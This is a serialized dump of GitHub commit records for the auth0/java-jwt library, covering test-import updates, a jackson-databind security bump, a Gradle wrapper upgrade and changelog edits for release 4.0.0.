     @Testu}(j̸  (35ad4971bdd4b65f38af60c66d830852d20c9e6bj4  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj6  modifiedj.  Kj/  Kj8  Kj9  https://github.com/auth0/java-jwt/blob/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj;  https://github.com/auth0/java-jwt/raw/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj=  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=fef3ccf0e03b4557faa110432466c631c0cc3fffj?  Xz  @@ -3,7 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -256,7 +256,7 @@ public void shouldGetArrayAudience() {
 
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
@@ -268,7 +268,7 @@ public void shouldGetStringAudience() {
 
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Jack Reyes")));
     }
 
     @Testu}(j̸  (2d80bed9fb798b68c9c6497e4ea8d766fb157038j4  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj6  modifiedj.  Kj/  Kj8  Kj9  https://github.com/auth0/java-jwt/blob/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj;  https://github.com/auth0/java-jwt/raw/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj=  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=fef3ccf0e03b4557faa110432466c631c0cc3fffj?  X`  @@ -12,7 +12,7 @@
 import com.fasterxml.jackson.databind.node.*;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.collection.IsEmptyCollection;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -93,7 +93,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is("auth0"));
         assertThat(payload.getSubject(), is("emails"));
-        assertThat(payload.getAudience(), is(IsCollectionContaining.hasItem("users")));
+        assertThat(payload.getAudience(), is(IsIterableContaining.hasItem("users")));
         assertThat(payload.getIssuedAt().getTime(), is(10101010L * 1000));
         assertThat(payload.getExpiresAt().getTime(), is(11111111L * 1000));
         assertThat(payload.getNotBefore().getTime(), is(10101011L * 1000));
@@ -126,7 +126,7 @@ public void shouldGetStringArrayWhenParsingArrayNode() {
         List<String> values = deserializer.getStringOrArray(tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(2)));
-        assertThat(values, is(IsCollectionContaining.hasItems("one", "two")));
+        assertThat(values, is(IsIterableContaining.hasItems("one", "two")));
     }
 
     @Test
@@ -138,7 +138,7 @@ public void shouldGetStringArrayWhenParsingTextNode() {
         List<String> values = deserializer.getStringOrArray(tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(1)));
-        assertThat(values, is(IsCollectionContaining.hasItems("something")));
+        assertThat(values, is(IsIterableContaining.hasItems("something")));
     }
 
     @Testu}(j̸  (9e2e6902d94473f82e8f4f7665a458e865802e21j4  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj6  modifiedj.  Kj/  Kj8  Kj9  https://github.com/auth0/java-jwt/blob/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj;  https://github.com/auth0/java-jwt/raw/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj=  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=fef3ccf0e03b4557faa110432466c631c0cc3fffj?  X  @@ -6,7 +6,7 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.node.TextNode;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -86,7 +86,7 @@ public void shouldGetAudience() {
         assertThat(payload, is(notNullValue()));
 
         assertThat(payload.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(payload.getAudience(), is(IsCollectionContaining.hasItems("audience")));
+        assertThat(payload.getAudience(), is(IsIterableContaining.hasItems("audience")));
     }
 
     @Testueu(c8d0ba995543c9cee50abe9f4aa4f9873b29489f}(sha(c8d0ba995543c9cee50abe9f4aa4f9873b29489fnode_idEC_kwDOAQtL0doAKGM4ZDBiYTk5NTU0M2M5Y2VlNTBhYmU5ZjRhYTRmOTg3M2IyOTQ4OWYcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-10-24T14:14:06Zu	committer}(jk  GitHubjm  noreply@github.comjo  2022-10-24T14:14:06ZumessageBump `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2 (#630)

Resolves https://www.cve.org/CVERecord?id=CVE-2022-42003tree}(jc  (2d458ee4f130840bc02ed3849f624112a3ca597eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/2d458ee4f130840bc02ed3849f624112a3ca597euj{  `https://api.github.com/repos/auth0/java-jwt/git/commits/c8d0ba995543c9cee50abe9f4aa4f9873b29489f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjVp2uCRBK7hj4Ov3rIwAAQrcIADdIRXfLPdFxqZhbcuP0ObTN
m16JSHoJ72RyfL3unjS1K4VYPgGmjh2pMCcy1DZ6NmXyQLG5nEx1fJaPScbgSXLe
PNVI4V5riVlLJoWENjthF3Z+7X0TT3fWDg76XbO0YBhr26l70Foat0SYwRN/IcQz
ZXLYEnkzpKxEkzZhN7J4eesnUcm1Bnz0nG+h1u4t33Fzi7Fia5ckh7OVSLZLK5be
SvEHw/Cy6P6yScYD/D8drNwkzTPqrkSsF8Pl9Pe/DtOl9EbgTxhb7VefM0bHZT+s
fSTJbsrYPbwGldz/EqqjzV+V2mPq0Rc+0jERxFH+/9h60nkzn1GeBtc3k721a8U=
=vo34
-----END PGP SIGNATURE-----
payloadXM  tree 2d458ee4f130840bc02ed3849f624112a3ca597e
parent 3d3980de9c0a84b6265de9263647cdbfda7c8a5b
author Evan Sims <evan.sims@auth0.com> 1666620846 -0500
committer GitHub <noreply@github.com> 1666620846 -0300

Bump `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2 (#630)

Resolves https://www.cve.org/CVERecord?id=CVE-2022-42003uuj{  \https://api.github.com/repos/auth0/java-jwt/commits/c8d0ba995543c9cee50abe9f4aa4f9873b29489fhtml_urlQhttps://github.com/auth0/java-jwt/commit/c8d0ba995543c9cee50abe9f4aa4f9873b29489fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c8d0ba995543c9cee50abe9f4aa4f9873b29489f/commentsji  }(loginevansimsidMje  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j{  %https://api.github.com/users/evansimsj  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminujq  }(j  web-flowj  J/je  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j{  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(jc  (3d3980de9c0a84b6265de9263647cdbfda7c8a5bj{  \https://api.github.com/repos/auth0/java-jwt/commits/3d3980de9c0a84b6265de9263647cdbfda7c8a5bj  Qhttps://github.com/auth0/java-jwt/commit/3d3980de9c0a84b6265de9263647cdbfda7c8a5buastats}(totalK	additionsK	deletionsKufiles]}(jc  (9cc4349c922f5ac34e0de86c614aadb3dfa1888ffilenamelib/build.gradlestatusmodifiedjŹ  Kjƹ  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/c8d0ba995543c9cee50abe9f4aa4f9873b29489f/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/c8d0ba995543c9cee50abe9f4aa4f9873b29489f/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=c8d0ba995543c9cee50abe9f4aa4f9873b29489fpatchX4  @@ -65,7 +65,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.4.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'uau(60ff7b44fc92c711863291abd177ffdd37aa6e04}(sha(60ff7b44fc92c711863291abd177ffdd37aa6e04node_idEC_kwDOAQtL0doAKDYwZmY3YjQ0ZmM5MmM3MTE4NjMyOTFhYmQxNzdmZmRkMzdhYTZlMDQcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-03-13T00:57:56Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-13T00:57:56Zumessage*Bump `jackson-databind` dependency to 2.13tree}(jڹ  (ee5fccc5a3cbd2a3032eff6aed687bc3d36bdda2url^https://api.github.com/repos/auth0/java-jwt/git/trees/ee5fccc5a3cbd2a3032eff6aed687bc3d36bdda2uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/60ff7b44fc92c711863291abd177ffdd37aa6e04
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiLUGUCRBK7hj4Ov3rIwAA9x0IAJj/zwu7XzZ2MSVgGrqsqKMe
q1rglhs4BsgAqJJZTZ4Io91vflKv8VIN3VqIc5h4vYtHtGdRwJ132UuNBLjLnAIo
ln97pcKEqzsO82BQPNNCFrHKx5UKuMcDJRAqzTjhUn4H13CePEPTVkpdBSYKig6C
brcNiQfsNuUwsYTwycnYyifx4rBfFRE6tzF3CNwy2mvAcoaTS/VFZZcbhFk2HOgG
BY6ava0gVzaU0NWU9JVIvBL7bY6Xs3vP7hKBXtJ2xSs5ILbTGwTghR40lP4xd5d7
xIdCyFWPrMkY650cZqVN+5GpfjLLhUA2zGQ1iwHjZ5AR19QWSkuDuRdW+7XEttc=
=eZfv
-----END PGP SIGNATURE-----
payloadtree ee5fccc5a3cbd2a3032eff6aed687bc3d36bdda2
parent a043f0284389d4efd58494264ce5ba2c79332410
author Evan Sims <evan.sims@auth0.com> 1647133076 -0500
committer GitHub <noreply@github.com> 1647133076 -0500

Bump `jackson-databind` dependency to 2.13uuj  \https://api.github.com/repos/auth0/java-jwt/commits/60ff7b44fc92c711863291abd177ffdd37aa6e04html_urlQhttps://github.com/auth0/java-jwt/commit/60ff7b44fc92c711863291abd177ffdd37aa6e04comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/60ff7b44fc92c711863291abd177ffdd37aa6e04/commentsj  }(loginevansimsidMjܹ  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j  %https://api.github.com/users/evansimsj   https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/jܹ  MDQ6VXNlcjE5ODY0NDQ3j	  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj   https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj   Userj"  uparents]}(jڹ  (a043f0284389d4efd58494264ce5ba2c79332410j  \https://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410j   Qhttps://github.com/auth0/java-jwt/commit/a043f0284389d4efd58494264ce5ba2c79332410uastats}(totalK	additionsK	deletionsKufiles]}(jڹ  (a62f3b2950af749ed6b2d14d3c4b78db1e6936fcfilenamelib/build.gradlestatusmodifiedj<  Kj=  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/60ff7b44fc92c711863291abd177ffdd37aa6e04/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/60ff7b44fc92c711863291abd177ffdd37aa6e04/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=60ff7b44fc92c711863291abd177ffdd37aa6e04patchXe  @@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.0'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(a5b414d34ff22230e8914e85a0278c750c847096}(sha(a5b414d34ff22230e8914e85a0278c750c847096node_idEC_kwDOAQtL0doAKGE1YjQxNGQzNGZmMjIyMzBlODkxNGU4NWEwMjc4Yzc1MGM4NDcwOTYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-09-09T18:48:25Zu	committer}(jY  GitHubj[  noreply@github.comj]  2022-09-09T18:48:25ZumessageHMerge pull request #608 from auth0/update-gradle

Update to gradle 6.9.2tree}(jQ  (ffd99d7e1669ca80a25e4e7bee83ff7cc8460e62url^https://api.github.com/repos/auth0/java-jwt/git/trees/ffd99d7e1669ca80a25e4e7bee83ff7cc8460e62uji  `https://api.github.com/repos/auth0/java-jwt/git/commits/a5b414d34ff22230e8914e85a0278c750c847096
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjG4p5CRBK7hj4Ov3rIwAA9x4IALBhOYR5H3e5HeHWiOY5mSNV
XvVW2e7BMAriWcgepYOIM18ESjD4YJSso2xyRKCkDXOacDr3VWZqwxyoODQNNUAv
BO6AVy36tZsWdZz31G2OWSk2IOLLNcSnGSoAR+qG2nG5j3isKNMaKPaKTeTgWuvV
Ds5v3CK6bRzl1K8D1hw8OIm6ekE6HKaXHIze8tinhd28Z1C8gaK5cK3XbR1IbZr0
w73atQOzIEyG91fzsk/8GpATN++QSjXyys7wCYZt6miODH4UgxhxdvsbyJ+HiEP3
xi8k5djFLqsKj8N2ALIrsnu7IGOicCkpxXP1raoQpsWrrtkgo9xa6ep4SX9KnHk=
=HJKE
-----END PGP SIGNATURE-----
payloadXL  tree ffd99d7e1669ca80a25e4e7bee83ff7cc8460e62
parent 59e447583468ca4f4cf01d89f5ceb21cd1452cf5
parent f29d70c56768bd7ed8356a44040082087e076cd8
author Jim Anderson <jim.anderson@auth0.com> 1662749305 -0500
committer GitHub <noreply@github.com> 1662749305 -0500

Merge pull request #608 from auth0/update-gradle

Update to gradle 6.9.2uuji  \https://api.github.com/repos/auth0/java-jwt/commits/a5b414d34ff22230e8914e85a0278c750c847096html_urlQhttps://github.com/auth0/java-jwt/commit/a5b414d34ff22230e8914e85a0278c750c847096comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a5b414d34ff22230e8914e85a0278c750c847096/commentsjW  }(login
jimmyjamesidJ7 jS  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3ji  'https://api.github.com/users/jimmyjamesjw  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj_  }(j|  web-flowj~  J/jS  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3ji  %https://api.github.com/users/web-flowjw  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jQ  (59e447583468ca4f4cf01d89f5ceb21cd1452cf5ji  \https://api.github.com/repos/auth0/java-jwt/commits/59e447583468ca4f4cf01d89f5ceb21cd1452cf5jw  Qhttps://github.com/auth0/java-jwt/commit/59e447583468ca4f4cf01d89f5ceb21cd1452cf5u}(jQ  (f29d70c56768bd7ed8356a44040082087e076cd8ji  \https://api.github.com/repos/auth0/java-jwt/commits/f29d70c56768bd7ed8356a44040082087e076cd8jw  Qhttps://github.com/auth0/java-jwt/commit/f29d70c56768bd7ed8356a44040082087e076cd8uestats}(totalK	additionsK	deletionsKufiles](}(jQ  (ec991f9aa12cb8a8a72b26ef0ad7e2c38532696afilename(gradle/wrapper/gradle-wrapper.propertiesstatusmodifiedj  Kj  KchangesKblob_url|https://github.com/auth0/java-jwt/blob/a5b414d34ff22230e8914e85a0278c750c847096/gradle%2Fwrapper%2Fgradle-wrapper.propertiesraw_url{https://github.com/auth0/java-jwt/raw/a5b414d34ff22230e8914e85a0278c750c847096/gradle%2Fwrapper%2Fgradle-wrapper.propertiescontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/gradle%2Fwrapper%2Fgradle-wrapper.properties?ref=a5b414d34ff22230e8914e85a0278c750c847096patchX/  @@ -1,5 +1,5 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-6.7.1-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-6.9.2-bin.zip
 zipStoreBase=GRADLE_USER_HOME
 zipStorePath=wrapper/distsu}(jQ  (eab6a0a5311d318e6e057da65b1c560012d0eea8j  lib/build.gradlej  modifiedj  Kj  Kj  Kjº  bhttps://github.com/auth0/java-jwt/blob/a5b414d34ff22230e8914e85a0278c750c847096/lib%2Fbuild.gradlejĺ  ahttps://github.com/auth0/java-jwt/raw/a5b414d34ff22230e8914e85a0278c750c847096/lib%2Fbuild.gradlejƺ  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=a5b414d34ff22230e8914e85a0278c750c847096jȺ  X  @@ -44,7 +44,7 @@ java {
 compileJava {
     exclude 'module-info.java'
     // Required to be compatible with JDK 8+
-    options.compilerArgs = ['--release', "8"]
+    options.release = 8
 }
 
 javadoc {
@@ -99,7 +99,8 @@ task compileModuleInfoJava(type: JavaCompile) {
 }
 
 compileTestJava {
-    options.compilerArgs = ['--release', "8", "-Xlint:deprecation"]
+    options.release = 8
+    options.compilerArgs = ["-Xlint:deprecation"]
 }
 
 def testJava8 = tasks.register('testJava8', Test) {ueu(b786c9dd42c2332c3caaca3b37198e8025c4b912}(sha(b786c9dd42c2332c3caaca3b37198e8025c4b912node_idEC_kwDOAQtL0doAKGI3ODZjOWRkNDJjMjMzMmMzY2FhY2EzYjM3MTk4ZTgwMjVjNGI5MTIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-06-24T10:16:27Zu	committer}(jܺ  
Poovamraj T Tj޺  poovamraj@gmail.comj  2022-06-24T10:16:27Zumessage Update release note in CHANGELOGtree}(jԺ  (0dedc8497fb9ec506d08a1febdaedd0c138fbebaurl^https://api.github.com/repos/auth0/java-jwt/git/trees/0dedc8497fb9ec506d08a1febdaedd0c138fbebauj  `https://api.github.com/repos/auth0/java-jwt/git/commits/b786c9dd42c2332c3caaca3b37198e8025c4b912
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/b786c9dd42c2332c3caaca3b37198e8025c4b912html_urlQhttps://github.com/auth0/java-jwt/commit/b786c9dd42c2332c3caaca3b37198e8025c4b912comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b786c9dd42c2332c3caaca3b37198e8025c4b912/commentsjں  }(login	poovamrajidJ jֺ  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J jֺ  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j
  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(jԺ  (90a68cbeba433c1634450f7d4d32e882aec5bd79j  \https://api.github.com/repos/auth0/java-jwt/commits/90a68cbeba433c1634450f7d4d32e882aec5bd79j  Qhttps://github.com/auth0/java-jwt/commit/90a68cbeba433c1634450f7d4d32e882aec5bd79uastats}(totalK	additionsK	deletionsKufiles]}(jԺ  (57edfa51baa5569daca315a84d3a62b33c5b092afilenameCHANGELOG.mdstatusmodifiedj4  Kj5  KchangesKblob_url\https://github.com/auth0/java-jwt/blob/b786c9dd42c2332c3caaca3b37198e8025c4b912/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/b786c9dd42c2332c3caaca3b37198e8025c4b912/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=b786c9dd42c2332c3caaca3b37198e8025c4b912patchX?  @@ -1,12 +1,24 @@
 # Change Log
 
 ## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
-[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0-beta.0...4.0.0)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0)
+
+**This is a major release and contains breaking changes!**
+
+- Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
+
+### Main features
+- Predicates based claim verification
+- Support for Instant API and Lambda functions
+- Improved Exceptions API
+- Consistent null handling
+
+See the changelog entries for additional details.
 
 ## [4.0.0-beta.0](https://github.com/auth0/java-jwt/tree/4.0.0-beta.0) (2022-05-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0-beta.0)
 
-? Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
+- Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
 
 **Added**
 - JavaDoc updated [\#577](https://github.com/auth0/java-jwt/pull/577) ([poovamraj](https://github.com/poovamraj))uau(971d6fa4c632c1b815d485fe4a63be76c439900e}(sha(971d6fa4c632c1b815d485fe4a63be76c439900enode_idPMDY6Q29tbWl0MTc1MTc1MjE6OTcxZDZmYTRjNjMyYzFiODE1ZDQ4NWZlNGE2M2JlNzZjNDM5OTAwZQ==commit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2021-09-10T02:13:11Zu	committer}(jQ  GitHubjS  noreply@github.comjU  2021-09-10T02:13:11ZumessagecMerge pull request #512 from auth0/serialize-lists

[SDK-2751] Serialize audience claim when a Listtree}(jI  (a89da3885ca7929598c96bcf70234b8ffbe5efbdurl^https://api.github.com/repos/auth0/java-jwt/git/trees/a89da3885ca7929598c96bcf70234b8ffbe5efbduja  `https://api.github.com/repos/auth0/java-jwt/git/commits/971d6fa4c632c1b815d485fe4a63be76c439900e
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJhOr83CRBK7hj4Ov3rIwAAXzIIAKmjhHEMBFrz98EzXuaIoXyG
TfPE0T7kqWmHi3iSS1bnXJexYCda5EL3CjTY2VUAyGPK1t9HEOYqZ9BP7IwRHKi1
5NJ2E/gw0rrDDCTqIg98SvENneeonLKcRWHozIFQV6plpTVmVXj3hBZQApPCMD2D
ulTUwam03DXnKcUVchI1LUuuCGMdiYziSTUnvMS+buOnyee/QKSVXndExPhw+Aej
zipVLdjBKEuQnD0zLBV5hhGx8hFyaPW6ugWlSX4wusBAjAAdZZzK52LiL4Td5JmM
GRPwn2c/9lav4EQb+lRHXAR/zqICL2tLes65ugzouNGZOdDCDWHAYP2kCG5b7lc=
=frxp
-----END PGP SIGNATURE-----
payloadXg  tree a89da3885ca7929598c96bcf70234b8ffbe5efbd
parent 364bf598ac1da6305b95633e4d3e38933585e7b0
parent 0dc9fd0a8da62b0a71e18c7b77fd536138755845
author Jim Anderson <jim.anderson@auth0.com> 1631239991 -0500
committer GitHub <noreply@github.com> 1631239991 -0500

Merge pull request #512 from auth0/serialize-lists

[SDK-2751] Serialize audience claim when a Listuuja  \https://api.github.com/repos/auth0/java-jwt/commits/971d6fa4c632c1b815d485fe4a63be76c439900ehtml_urlQhttps://github.com/auth0/java-jwt/commit/971d6fa4c632c1b815d485fe4a63be76c439900ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/971d6fa4c632c1b815d485fe4a63be76c439900e/commentsjO  }(login
jimmyjamesidJ7 jK  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3ja  'https://api.github.com/users/jimmyjamesjo  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
